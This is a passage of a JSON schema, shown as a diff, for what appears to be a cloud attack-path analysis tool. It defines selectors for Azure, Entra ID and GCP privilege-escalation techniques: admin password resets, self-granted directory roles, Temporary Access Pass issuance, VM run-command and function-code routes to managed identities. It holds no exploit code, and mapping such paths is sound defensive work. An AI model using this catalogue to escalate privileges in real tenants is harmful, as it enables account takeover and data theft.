"service_bus_trigger", + "event_subscription" + ] + }, + { + "items": { + "enum": [ + "key_vault_reference", + "storage_content", + "app_configuration_reference", + "queue_trigger", + "service_bus_trigger", + "event_subscription" + ] + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Managed identity of a workload that reads the pivot resource (value = binding kind(s): app_configuration_reference, event_subscription, key_vault_reference, queue_trigger, service_bus_trigger, storage_content). An identity holding the binding's read data action on a pivot resource is conditional (consumer_binding_not_collected); every other one is unresolved. Whether the consumer trusts the value enough to execute it is application logic: entries keep a condition for it." + }, + "azure_containerapp_assignable_uami": { + "const": true, + "description": "The source can write an exact inventoried Container App, attach the target user-assigned identity, and run a controlled revision." + }, + "azure_containerapp_create_uami_path": { + "const": true, + "description": "The source can create an app under an inventoried resource group and join an existing or creatable managed environment in the same subscription." + }, + "azure_containerapp_exec_identity": { + "const": true, + "description": "The source can obtain a console token and execute or debug on the same Container App with a running revision whose current identity is available to its main container." + }, + "azure_containerapp_job_assignable_uami": { + "const": true, + "description": "The source can assign the verified user-assigned identity to an exact writable job in a usable managed environment, or create a scheduled job in an inventoried group and joinable environment." + }, + "azure_containerapp_job_execution_identity": { + "const": true, + "description": "The source can start the exact usable Job with an execution template override, or write a controlled scheduled template, and the target identity is available in the main stage or an init stage on a confirmed Consumption workload profile." + }, + "azure_containerapp_write_existing_identity": { + "const": true, + "description": "The source can write an exact usable Container App with this currently attached identity, and can start it if stopped." + }, + "azure_cosmos_mongo_user_write": { + "const": true, + "description": "The source can create a password-controlled MongoDB user with a built-in privileged role on an exact usable MongoDB account with native RBAC enabled." + }, + "azure_cosmos_other_api_role_grant": { + "const": true, + "description": "The source can grant its own Entra principal a privileged native role on an exact usable account of the matching Cosmos DB API." + }, + "azure_cosmos_sql_role_grant": { + "const": true, + "description": "The source can assign its own Entra principal the built-in NoSQL Data Contributor role on an exact usable Cosmos DB for NoSQL account." + }, + "azure_databricks_workspace_admin": { + "const": true, + "description": "An enabled tenant member user can bootstrap admin on an exact usable Databricks workspace with both required Azure RBAC actions." + }, + "azure_deployer_of_pivot": { + "const": true, + "description": "Identity that deploys the pivot resource (e.g. deployment script runner); not collected (unknown)." + }, + "azure_deployment_script_uami_path": { + "const": true, + "description": "The source can create or update a deployment script with the exact assignable UAMI and can manage its required support resources." + }, + "azure_devtestlab_artifact_identity": { + "const": true, + "description": "The source can apply artifacts to the exact lab VM whose computeId points to a known compute VM carrying the target identity." + }, + "azure_external_plane": { + "description": "Exact adjacent authorization plane of a reviewed Azure external-principal gain.", + "type": "string" + }, + "azure_external_principal_evidence": { + "const": true, + "description": "Unique complete reviewed evidence binds a declared ARM action to one named adjacent-plane principal, usable credential or grant, prior denial, and a newly allowed target action." + }, + "azure_flux_cluster_path": { + "const": true, + "description": "A writable Flux configuration belongs to the exact AKS or Arc cluster and has cluster scope." + }, + "azure_function_definition_code_path": { + "const": true, + "description": "Source can edit a function on the exact writable Function App carrying the target managed identity." + }, + "azure_function_host_vfs_code_path": { + "const": true, + "description": "Source can use hostruntime VFS write on the exact writable Function App carrying the target managed identity." + }, + "azure_function_remote_debug_path": { + "const": true, + "description": "Source can obtain publishing credentials and enable or use debugging on the exact supported Function App identity host." + }, + "azure_host_linked_to_pivot": { + "description": "Identity of a VM linked to the pivot resource: avd_session_host (application group -> hostPoolArmPath -> session hosts), automation_hybrid_worker (hybrid runbook workers' vmResourceId), devtest_lab_compute_vm (lab VM computeId), service_fabric_node_vmss (not collected: always unresolved). Linked VM identities are derived; the others are dropped when every link under {pivot} is collected, else unresolved.", + "enum": [ + "avd_session_host", + "automation_hybrid_worker", + "devtest_lab_compute_vm", + "service_fabric_node_vmss" + ] + }, + "azure_hybrid_k8s_admin_credential_path": { + "const": true, + "description": "Bind a hybrid cluster admin kubeconfig action to its exact provisioned cluster or Arc cluster instance." + }, + "azure_identity_assignable_in_scope": { + "const": true, + "description": "Requirements with scope '*' must hold on a scope that contains the identity's attached resource (or the user-assigned identity resource)." + }, + "azure_imagebuilder_new_template_identity_path": { + "const": true, + "description": "Check create and run on one new template plus source-to-template and template-to-build-VM identity assignment." + }, + "azure_kusto_cluster_principal_assignment_path": { + "const": true, + "description": "Bind a cluster principal-assignment write to an exact collected Kusto cluster." + }, + "azure_kusto_database_principal_assignment_path": { + "const": true, + "description": "Bind a database principal-assignment write to an exact collected Kusto database." + }, + "azure_loadtesting_assign_uami_path": { + "const": true, + "description": "Bind UAMI assignment and all load-test write and run rights to the same existing or creatable resource." + }, + "azure_loadtesting_existing_engine_identity_path": { + "const": true, + "description": "Bind test write and start DataActions to an exact Load Testing resource carrying the target identity." + }, + "azure_logicapp_assign_uami_path": { + "const": true, + "description": "The source can assign the exact UAMI and write one existing or creatable Consumption workflow in an inventoried resource group." + }, + "azure_logicapp_existing_identity_path": { + "const": true, + "description": "The source can write the exact existing Consumption workflow carrying the target managed identity." + }, + "azure_managedapp_listtokens_path": { + "const": true, + "description": "The source can call listTokens on the exact managed application carrying the target managed identity." + }, + "azure_ml_compute_application_identity_path": { + "const": true, + "description": "The source can open applications on the exact assigned or shared ML compute instance carrying the identity, while it runs or can be started." + }, + "azure_ml_compute_create_uami_path": { + "const": true, + "description": "The source can create a new compute instance with an inline script under an existing workspace and assign the exact user-assigned identity." + }, + "azure_ml_existing_online_deployment_identity_path": { + "const": true, + "description": "The source can write the exact existing online endpoint, a deployment child and the owning workspace read path while that endpoint carries the target identity." + }, + "azure_ml_online_endpoint_create_uami_path": { + "const": true, + "description": "The source can create one online endpoint and deployment under an existing workspace and assign the exact user-assigned identity." + }, + "azure_mongo_cluster_admin_password": { + "const": true, + "description": "The source can update an exact inventoried primary Mongo cluster in a usable state to reset its administrator password." + }, + "azure_mongo_cluster_self_root": { + "const": true, + "description": "The source can assign the root database role to its own Entra principal on an exact usable primary Mongo cluster with Entra authentication enabled or enableable." + }, + "azure_mysql_flexible_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact usable MySQL Flexible Server with native password authentication enabled or enableable." + }, + "azure_mysql_flexible_entra_admin_write": { + "const": true, + "description": "The source can set itself or a group it belongs to as the Entra administrator of an exact usable MySQL Flexible Server with a qualified user-assigned identity." + }, + "azure_policy_assignment_identity_path": { + "const": true, + "description": "A writable policy assignment, writable visible custom definition, and assignable UAMI must form one usable path." + }, + "azure_postgresql_flexible_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact ready PostgreSQL Flexible Server, promoting a replica first if necessary." + }, + "azure_postgresql_flexible_entra_admin_write": { + "const": true, + "description": "The source can add itself or a group it belongs to as an Entra administrator on an exact PostgreSQL Flexible Server with Entra authentication enabled or enableable." + }, + "azure_resource_type": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Restrict an Azure resource entity target to collected resources with the exact ARM type." + }, + "azure_root_scope_only": { + "const": true, + "description": "Restrict an Azure root-scope authorization target to the tenant root (/)." + }, + "azure_servicefabric_application_uami_path": { + "const": true, + "description": "Application type, version, application and UAMI assignment grants must join on one Service Fabric cluster." + }, + "azure_site_kind": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Microsoft.Web/sites kind contains the value (functionapp, app, ...)." + }, + "azure_spring_app_uami_path": { + "const": true, + "description": "App write and deployment write must join on one app in an inventoried Spring Apps service, with assignment of the exact UAMI." + }, + "azure_spring_deployment_identity_path": { + "const": true, + "description": "Deployment write must authorize a child of the Spring app carrying the target managed identity." + }, + "azure_sql_server_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact usable Azure SQL logical server with SQL authentication enabled or enableable." + }, + "azure_sql_server_entra_admin_write": { + "const": true, + "description": "The source can set itself or a verified group it belongs to as the Entra administrator of an exact usable Azure SQL logical server." + }, + "azure_sqlmi_admin_password_reset": { + "const": true, + "description": "The source can reset the administrator password on an exact usable Azure SQL Managed Instance with SQL authentication enabled or enableable." + }, + "azure_sqlmi_entra_admin_write": { + "const": true, + "description": "The source can set itself or a verified group it belongs to as the Entra administrator of an exact usable SQL Managed Instance whose identity can read the directory." + }, + "azure_static_site_deployment_token": { + "const": true, + "description": "An inventoried Static Web App on which the source can request that exact site's deployment token." + }, + "azure_storage_local_credential": { + "description": "Azure Storage SFTP local user credential; reset_password, write_credential, or create_credential. Requires exact account settings and verified container rights.", + "type": "string" + }, + "azure_synapse_entra_admin_path": { + "const": true, + "description": "An eligible source can write the Active Directory administrator child of an inventoried Synapse workspace." + }, + "azure_uami_fic_write_path": { + "const": true, + "description": "The source can create or update a federated credential child on the exact user-assigned identity resource." + }, + "azure_users_assigned_to_pivot": { + "const": true, + "description": "azure_user targets holding Desktop Virtualization User (directly or through a group) on an AVD application group within {pivot}; always conditional (user_launches_app)." + }, + "azure_vm_assign_existing_uami_path": { + "const": true, + "description": "The source can write one inventoried VM, assign the exact UAMI, and execute code on that same VM." + }, + "azure_vm_assign_indirect_uami_path": { + "const": true, + "description": "The source can write one inventoried VM, assign the exact UAMI, and use a same-VM indirect guest route." + }, + "azure_vm_create_uami_path": { + "const": true, + "description": "The source can create a VM in a known group, join a usable NIC or create one on a known subnet, and assign the exact UAMI." + }, + "azure_vm_extension_execution_path": { + "const": true, + "description": "Extension write must authorize a child of the inventoried VM carrying the target identity." + }, + "azure_vm_gallery_application_path": { + "const": true, + "description": "Writable gallery application version and VM write must join an inventoried VM identity host." + }, + "azure_vm_managed_runcommand_path": { + "const": true, + "description": "Managed Run Command write must authorize a child of the inventoried VM carrying the target identity." + }, + "azure_vm_os_disk_swap_path": { + "const": true, + "description": "VM write and writable compatible same-region replacement disk must join the inventoried VM identity host." + }, + "azure_vm_reimage_customdata_path": { + "const": true, + "description": "Reimage with request-body customData must target an inventoried Linux VM carrying the target identity." + }, + "azure_vm_runcommand_action_path": { + "const": true, + "description": "Run Command action must target an inventoried VM carrying the identity and a stopped VM needs start/action." + }, + "azure_vmss_instance_identity": { + "const": true, + "description": "The selected scale-set VM instance belongs to a scale set carrying this managed identity." + }, + "azure_vmss_instance_runcommand_action_path": { + "const": true, + "description": "Run Command action must authorize an inventoried Uniform scale-set instance carrying the identity." + }, + "azure_vmss_instance_runcommand_path": { + "const": true, + "description": "Managed Run Command write must target a child of an inventoried Uniform scale-set instance." + }, + "azure_vmss_model_rollout_path": { + "const": true, + "description": "Uniform VMSS model or extension write must authorize the identity host and a route to its instances." + }, + "credential_stored_in_scope": { + "description": "Principals whose secrets are stored in that resource/scope (always conditional; secret contents are never read).", + "type": "string" + }, + "custom_role_assigned_to_source": { + "const": true, + "description": "Target scope is one where a custom role assigned to the source applies (role definition rewrite)." + }, + "entra_access_package_auto_assignment_open_to_guest": { + "const": true, + "description": "Targets that are resources of an access package with an automatic-assignment policy whose rule does not exclude guests (userType -eq \"Member\"). Conditional (auto_assignment_rule_semantics_approximated)." + }, + "entra_agent_blueprint_principal_or_child_identity": { + "const": true, + "description": "Target is an agent identity blueprint principal or one of its child agent identities." + }, + "entra_app_sign_in_audience": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Application signInAudience equals the value." + }, + "entra_auth_admin_user_takeover": { + "const": true, + "description": "Authentication Administrator role scope, protected user and TAP or password reset path are checked for the target." + }, + "entra_auto_assignment_package_group": { + "const": true, + "description": "Target group has a Member role in an existing access package whose automatic assignment policy the source can create." + }, + "entra_catalog_self_grant_group": { + "const": true, + "description": "A source user can create or assign a package granting Member or Owner of this cataloged group; assignment managers require an existing package with that exact grant." + }, + "entra_catalog_self_grant_role": { + "const": true, + "description": "A source user can create or assign a package granting Active Member or Eligible Member of this cataloged Entra role; assignment managers require an existing package with that exact grant." + }, + "entra_custom_role_assigned_to_source": { + "const": true, + "description": "Target is reached by editing a custom directory role already assigned to the source." + }, + "entra_dynamic_rule_attributes_writable_by_source": { + "const": true, + "description": "Dynamic membershipRule references user attributes the source can write (membershipRule needed)." + }, + "entra_dynamic_rule_satisfiable_by_invited_guest": { + "const": true, + "description": "Dynamic membershipRule can be satisfied by a guest the source can invite (membershipRule needed)." + }, + "entra_graph_application_credential_target": { + "const": true, + "description": "Application-type service principal has a matching tenant application for application addPassword; foreign service principals stay unresolved when their instance lock cannot be checked." + }, + "entra_graph_directory_role_self_grant": { + "const": true, + "description": "An enabled Graph application source can assign itself a new tenant-scoped, enabled directory role." + }, + "entra_graph_group_sp_membership": { + "const": true, + "description": "The source app has Graph permission to add itself to a cloud-managed security group that does not already contain it." + }, + "entra_graph_group_user_membership": { + "const": true, + "description": "The source app can add a user it reaches to a cloud-managed security or Microsoft 365 group." + }, + "entra_graph_self_grant_directory_role": { + "const": true, + "description": "The source can grant itself Microsoft Graph RoleManagement.ReadWrite.Directory and a fresh token can assign an inventoried Entra directory role." + }, + "entra_graph_tap_user_target": { + "const": true, + "description": "An enabled Graph application can issue a Temporary Access Pass to a user included in the enabled policy and not excluded by group or external identity." + }, + "entra_group_membership_cloud_writable": { + "const": true, + "description": "Synchronized or missing group source-of-authority facts keep a membership-write path conditional." + }, + "entra_group_membership_type": { + "description": "Group membership is 'assigned' or 'dynamic' (groupTypes contains DynamicMembership).", + "type": "string" + }, + "entra_group_new_self_membership": { + "const": true, + "description": "The enabled source can join this supported assigned group and is not already a direct or nested member." + }, + "entra_group_owner_new_self_membership": { + "const": true, + "description": "An enabled owner can join the supported assigned group, with protected-group Graph permission checks." + }, + "entra_group_role_assignable": { + "description": "Group isAssignableToRole equals the value.", + "type": "boolean" + }, + "entra_group_source_not_owner": { + "const": true, + "description": "The source is not already an owner of the target group; incomplete owner inventory stays conditional." + }, + "entra_group_source_self_membership": { + "const": true, + "description": "An application source needs Graph group-write and application-write permission to add its own service principal as a member." + }, + "entra_group_type_covered_by_permission": { + "const": true, + "description": "Group type (security / Microsoft 365) is covered by the entra_permission variant (groups.security / groups.unified)." + }, + "entra_helpdesk_password_reset": { + "const": true, + "description": "Helpdesk password reset checks target roles, group protection, administrative unit scope, and password origin." + }, + "entra_nonadmin_password_reset": { + "const": true, + "description": "Non-admin reset roles check user source, target protection, administrative unit scope, and password origin." + }, + "entra_password_admin_reset": { + "const": true, + "description": "Password Administrator reset checks target roles, group protection, administrative unit scope, and password origin." + }, + "entra_pim_active_sp_membership": { + "const": true, + "description": "The enabled application source can request time-limited active membership in a cloud security group where it is not already a member." + }, + "entra_pim_controlled_user_eligibility": { + "const": true, + "description": "A PIM eligibility request can name a controlled user who is not already a member of the cloud security or Microsoft 365 group." + }, + "entra_pim_eligible_for_source": { + "const": true, + "description": "Source has a PIM eligibility schedule for the target role." + }, + "entra_pim_group_eligible_for_source": { + "anyOf": [ + { + "const": true + }, + { + "enum": [ + "member", + "owner" + ] + } + ], + "description": "entra_group targets for which the source (or one of its groups) has a PIM for Groups eligibility: true = member or owner, or 'member' / 'owner'. Always conditional (pim_activation_required)." + }, + "entra_privileged_auth_user_takeover": { + "const": true, + "description": "Privileged credential reset checks role scope, target protection, and application grants." + }, + "entra_reset_matrix_column": { + "description": "Targets whose password the role column may reset per Microsoft's 'who can reset passwords' table, excluding role-assignable-group members and restricted-AU members.", + "type": "string" + }, + "entra_resource_in_catalog": { + "const": true, + "description": "entra_group / azure_service_principal / entra_role targets that are resources of an entitlement-management catalog; {target.catalog} = those catalogs (for entra_catalog_role requirements)." + }, + "entra_role_assignable": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Target is the named Entra directory role (display name, template ID, '*' or 'any')." + }, + "entra_role_assignment_scope_covers_target": { + "const": true, + "description": "The directory role assignment's directoryScopeId ('/', AU or object) contains the target." + }, + "entra_role_assignment_self_grant": { + "const": true, + "description": "An active role-assignment manager can assign itself a new enabled directory role at tenant scope." + }, + "entra_source_is_owner_of_application": { + "const": true, + "description": "Source owns the target's application object." + }, + "entra_source_is_owner_of_group": { + "const": true, + "description": "Source owns the target group." + }, + "entra_source_is_owner_of_service_principal": { + "const": true, + "description": "Source owns the target service principal." + }, + "entra_sp_credential_takeover_target": { + "const": true, + "description": "An enabled application service principal whose credential update is not blocked by a known home-application lock." + }, + "entra_sp_has_tenant_application": { + "const": true, + "description": "Service principal's appId belongs to an application registered in this tenant." + }, + "entra_sp_owner_update_target": { + "const": true, + "description": "An enabled application service principal the user does not already own and whose credentials are not known to be locked." + }, + "entra_sp_type_in": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Service principal servicePrincipalType is one of the values." + }, + "entra_target_not_in_restricted_au": { + "const": true, + "description": "Target is not a member of a restricted management administrative unit (AU facts needed)." + }, + "entra_user_admin_password_reset": { + "const": true, + "description": "User Administrator reset checks target roles, AU scope, password origin, and app-only Graph grants." + }, + "entra_user_upn_on_federatable_custom_domain": { + "const": true, + "description": "Target user's UPN is on a verified custom domain whose federation the source can change (domain facts needed)." + }, + "exclude_target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): drop targets whose node id matches one of the globs." + }, + "fabric_workspace_identity": { + "const": true, + "description": "azure_service_principal targets that are the workspace identity of a Microsoft Fabric workspace; {target.host_resource} = that workspace (for fabric_workspace_role requirements)." + }, + "intune_managed_device_user": { + "const": true, + "description": "azure_user targets that are the primary user of an Intune-managed device. Conditional (device_session_not_verified): code run on the device reaches the user's session only while they sign in." + }, + "managed_identity_type": { + "description": "Managed identity is user_assigned or system_assigned.", + "type": "string" + }, + "ml_compute_assigned_to_source": { + "const": true, + "description": "Azure ML compute instance assigned to the source (not collected, unknown)." + }, + "resource_permission_covers_target": { + "description": "The source must also hold this action on the target resource ({target.arn}/{target.email}/{target.scope}/{target.namespace}).", + "minLength": 1, + "type": "string" + }, + "same_as_source": { + "const": true, + "description": "Target is the source itself (self-escalation); for entity kinds the source's own scope." + }, + "target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target node id (ARN / SA email / object id / cluster:ns:name) matches one of the case-insensitive globs (e.g. '*-compute@developer.gserviceaccount.com', 'arn:aws:iam::*:role/aws-reserved/*')." + }, + "target_name_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): target display name (role / user / SA / identity name) matches one of the globs." + } + }, + "type": "object" + } + } + } + } + }, + "excluded": { + "properties": { + "reason": { + "type": "string" + }, + "source": { + "type": "string" + }, + "source_revision": { + "type": "string" + }, + "technique": { + "type": "string" + } + }, + "required": [ + "source", + "reason" + ], + "type": "object" + }, + "gcp_conjunction": { + "items": { + "$ref": "#/$defs/gcp_item" + }, + "minItems": 1, + "type": "array" + }, + "gcp_group": { + "additionalProperties": false, + "minProperties": 1, + "oneOf": [ + { + "required": [ + "all_of" + ] + }, + { + "required": [ + "any_of" + ] + } + ], + "properties": { + "all_of": { + "$ref": "#/$defs/gcp_conjunction" + }, + "any_of": { + "items": { + "anyOf": [ + { + "$ref": "#/$defs/gcp_item" + }, + { + "$ref": "#/$defs/gcp_conjunction" + } + ] + }, + "minItems": 1, + "type": "array" + }, + "notes": { + "type": "string" + } + }, + "type": "object" + }, + "gcp_item": { + "anyOf": [ + { + "$ref": "#/$defs/gcp_requirement" + }, + { + "$ref": "#/$defs/gcp_group" + } + ] + }, + "gcp_requirement": { + "additionalProperties": false, + "anyOf": [ + { + "required": [ + "permission" + ] + }, + { + "required": [ + "action" + ] + } + ], + "properties": { + "action": { + "description": "Concrete permission 'service.resource.verb'.", + "pattern": "^[^.*\\s]+\\.[^*\\s]+\\.[^.*\\s]+$", + "type": "string" + }, + "bind": { + "description": "Requirements with the same bind name must hold on ONE common resource the source picks.", + "pattern": "^[a-z][a-z0-9_]{0,40}$", + "type": "string" + }, + "notes": { + "type": "string" + }, + "permission": { + "description": "Concrete permission 'service.resource.verb'.", + "pattern": "^[^.*\\s]+\\.[^*\\s]+\\.[^.*\\s]+$", + "type": "string" + }, + "resource": { + "type": "string" + } + }, + "type": "object" + }, + "gcp_technique": { + "properties": { + "id": { + "pattern": "^gcp-[a-z0-9]+(-[a-z0-9]+)*$" + }, + "preconditions": { + "items": { + "anyOf": [ + { + "enum": [] + }, + { + "additionalProperties": false, + "properties": { + "description": { + "type": "string" + }, + "id": { + "enum": [] + } + }, + "required": [ + "id" + ], + "type": "object" + } + ] + }, + "type": "array" + }, + "requires": { + "additionalProperties": false, + "properties": { + "all_of": { + "items": { + "$ref": "#/$defs/gcp_item" + }, + "type": "array" + }, + "any_of": { + "description": "Alternative groups: at least one group must fully hold (with all_of).", + "items": { + "$ref": "#/$defs/gcp_conjunction" + }, + "type": "array" + } + }, + "type": "object" + }, + "source_kind": { + "anyOf": [ + { + "enum": [ + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_service_account", + "gcp_user", + "gcp_workspace_user", + "k8s_service_account" + ] + }, + { + "items": { + "enum": [ + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_service_account", + "gcp_user", + "gcp_workspace_user", + "k8s_service_account" + ] + }, + "minItems": 1, + "type": "array" + } + ] + }, + "source_selector": { + "additionalProperties": false, + "properties": { + "gcp_workspace_admin_role": { + "description": "Source is a Workspace/Cloud Identity user holding that admin role: 'super_admin' (users.isAdmin or a role with isSuperAdminRole) or an admin roleId / roleName (Admin SDK roleAssignments).", + "type": "string" + }, + "include_service_managed": { + "description": "Allow service-managed identities (AWS service-linked roles, Google-managed agents, Microsoft first-party service principals) as sources; they are skipped by default because customers cannot act as them.", + "type": "boolean" + }, + "source_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): the source principal id matches one of the case-insensitive globs." + }, + "source_reaches_kind": { + "description": "Generic (evaluator, graph post-pass): the source is of that target kind or reaches a node of that kind through the other techniques' edges (fixpoint); the edge takes the weakest confidence of the best chain and the condition source_reaches__via_chain.", + "enum": [ + "aws_account_admin", + "aws_challenge_foothold", + "aws_directory_domain_admin", + "aws_group", + "aws_identity_center_permission_set", + "aws_identity_center_user", + "aws_role", + "aws_service_plane_admin", + "aws_user", + "aws_verified_authority", + "azure_challenge_foothold", + "azure_dataplane_admin", + "azure_external_principal", + "azure_managed_identity", + "azure_scope_owner", + "azure_service_principal", + "azure_storage_local_user", + "azure_user", + "azure_verified_authority", + "cloud_identity", + "entra_group", + "entra_role", + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_admission_control", + "k8s_cluster_admin", + "k8s_group", + "k8s_node", + "k8s_remote_cluster", + "k8s_service_account", + "k8s_user", + "k8s_verified_authority" + ] + } + }, + "type": "object" + }, + "target": { + "properties": { + "kind": { + "enum": [ + "gcp_challenge_foothold", + "gcp_external_principal", + "gcp_group", + "gcp_scope_owner", + "gcp_service_account", + "gcp_user", + "gcp_verified_authority", + "gcp_workspace_user", + "k8s_cluster_admin", + "k8s_service_account" + ] + }, + "selector": { + "additionalProperties": false, + "properties": { + "any_principal_in_scope": { + "const": true, + "description": "Entity target covering every principal of the scope where the requirement holds (scope owner / cluster-admin / account admin)." + }, + "attached_to_service": { + "anyOf": [ + { + "type": "string" + }, + { + "items": { + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Identity is attached to a collected resource of that service (Lambda Role, EC2 instance profile, GCE/GKE service account, Azure resource identity incl. full ARM types). Uncollected attachment inventories fall back to trust/all identities with unknown confidence." + }, + "exclude_target_id_glob": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "type": "array" + } + ], + "description": "Generic (evaluator): drop targets whose node id matches one of the globs." + }, + "gcp_actas_granted_on_target": { + "const": true, + "description": "Source holds iam.serviceAccounts.actAs on the target SA (SA policy or project/folder/org inheritance)." + }, + "gcp_actas_granted_to_service_agent": { + "description": "Target SA is one on which the named Google service agent (cloudservices = Google APIs service agent @cloudservices.gserviceaccount.com, used by managed instance groups) holds iam.serviceAccounts.actAs (SA policy or project/folder/org inheritance; Editor by default). Unknown when no binding of that agent is collected.", + "type": "string" + }, + "gcp_agentidentity_retrieve_path": { + "const": true, + "description": "Exact enabled Google OAuth provider and active authorization with useful granted scopes." + }, + "gcp_agentidentity_update_path": { + "const": true, + "description": "Exact enabled Google OAuth provider and active authorization whose later refresh could reach a changed token endpoint." + }, + "gcp_agentregistry_skill_evidence": { + "const": true, + "description": "Unique reviewed evidence ties a changed Agent Registry Skill to one floating consumer, runtime identity, and newly successful bounded action." + }, + "gcp_apigee_proxy_deploy_path": { + "const": true, + "description": "Existing Apigee organization and standard environment with exact author and deployment grants and runtime token delegation." + }, + "gcp_apigee_sharedflow_hook_path": { + "const": true, + "description": "Existing standard Apigee environment with a proxy deployment, exact shared-flow and hook grants, and runtime token delegation." + }, + "gcp_appengine_deploy_path": { + "const": true, + "description": "Existing App Engine application, source staging bucket, and target runtime service-account repository access." + }, + "gcp_appengine_instance_ssh_path": { + "const": true, + "description": "Exact flexible App Engine instance, backing VM, runtime identity, login method and SSH route." + }, + "gcp_appengine_legacy_actas_unenforced": { + "const": true, + "description": "Visible legacy App Engine actAs constraint with effective enforcement disabled for the target project." + }, + "gcp_appintegration_run_as_path": { + "const": true, + "description": "Enabled Application Integration service, one observed integration, same-integration invocation or publication rights, and actAs on the selected service account." + }, + "gcp_artifact_policy_consumer_path": { + "const": true, + "description": "Exact standard Docker repository, tagged Cloud Run consumer and runtime account, plus repository policy-write authority." + }, + "gcp_artifact_upload_consumer_path": { + "const": true, + "description": "Exact standard Docker repository, tagged Cloud Run consumer and runtime account, plus repository upload authority." + }, + "gcp_batch_agent_reporter_on_target": { + "const": true, + "description": "The target service account holds batch.states.report in its Batch job project." + }, + "gcp_bigquery_spark_connection_path": { + "const": true, + "description": "One recorded Spark connection identity has a new effective permission; the source can create or replace and invoke a Spark procedure in a compatible dataset using that exact connection." + }, + "gcp_bounded_access_gain": { + "const": true, + "description": "Unique reviewed evidence proves a newly allowed bounded action through one created or authorized intermediate resource." + }, + "gcp_bounded_mechanism": { + "description": "Exact indirect-access mechanism in the bounded-access evidence record.", + "type": "string" + }, + "gcp_bounded_service_execution": { + "description": "An enabled service account becomes a separate bounded service authority target for the named mechanism.", + "type": "string" + }, + "gcp_bounded_workspace_oauth": { + "description": "A named Workspace user becomes a scope-limited OAuth authority target for the named mechanism.", + "type": "string" + }, + "gcp_challenge_fact": { + "description": "Exact reviewed technique/source/target/scope evidence from gcp_privesc_challenge_evidence. Only verified preconditions produce a conditional path; missing or incomplete evidence is unresolved.", + "type": "string" + }, + "gcp_cloudbuild_api_enabled": { + "const": true, + "description": "Cloud Build API is enabled in the target service account's build project." + }, + "gcp_cloudbuild_writable_trigger_policy_path": { + "const": true, + "description": "An exact connection policy grant can self-grant repository token access for an enabled push trigger with a recorded build identity." + }, + "gcp_cloudbuild_writable_trigger_token_path": { + "const": true, + "description": "An exact repository token grant is joined to an enabled push trigger whose repository build config and service account are recorded." + }, + "gcp_clouddeploy_configurable_custom_render_path": { + "const": true, + "description": "Source can create or update an exact custom target and pipeline route, then create its release with the selected render account." + }, + "gcp_clouddeploy_custom_render_path": { + "const": true, + "description": "A collected pipeline stage, custom target, custom target type, and render service account are joined to exact update and release-create grants." + }, + "gcp_clouddeploy_existing_custom_render_path": { + "const": true, + "description": "A collected pipeline stage and custom target render account are joined to release creation on the exact pipeline." + }, + "gcp_clouddeploy_pipeline_policy_custom_render_path": { + "const": true, + "description": "A collected custom target render account is joined to setIamPolicy on its exact delivery pipeline." + }, + "gcp_cloudfunctions_create_path": { + "const": true, + "description": "Source can create a function with uploaded source and a known build account it can use, and can invoke it." + }, + "gcp_cloudfunctions_env_startup_path": { + "const": true, + "description": "Source can update an active Node.js 20 or later function, use its build identity, and reach an execution route." + }, + "gcp_cloudfunctions_existing_source_update_path": { + "const": true, + "description": "Source can update the source of an active function, act as its build identity, and reach an observed invocation route." + }, + "gcp_cloudfunctions_source_deploy_build_path": { + "const": true, + "description": "Source can create or update a function built as an observed legacy Cloud Build default identity and can act as the function runtime identity." + }, + "gcp_cloudscheduler_authenticated_delivery": { + "const": true, + "description": "The project's Cloud Scheduler service agent has its required role for authenticated job delivery." + }, + "gcp_cloudscheduler_update_job_path": { + "const": true, + "description": "Source can update an enabled scheduler job, or update and resume a paused job, in the target service account's project." + }, + "gcp_cloudtasks_authenticated_delivery": { + "const": true, + "description": "The Cloud Tasks service agent has its project role and access to the exact target service account." + }, + "gcp_cloudtasks_enqueue_path": { + "const": true, + "description": "Source can create a task in a running queue, resume a paused queue, or create a new queue and task in the target account's project." + }, + "gcp_cloudtasks_queue_policy_path": { + "const": true, + "description": "Source can add task creation on an exact queue it does not already control, remove a target override when permitted, and dispatch from a running or resumable queue." + }, + "gcp_composer_create_with_dag_path": { + "const": true, + "description": "Source can create a Composer environment in a region with an eligible custom bucket, prepopulate its DAG prefix, and attach a service account with Composer Worker access." + }, + "gcp_composer_dag_upload_path": { + "const": true, + "description": "Source can create a new Python DAG object under the observed prefix of a usable Composer environment, including through managed-folder IAM." + }, + "gcp_composer_pypi_update_path": { + "const": true, + 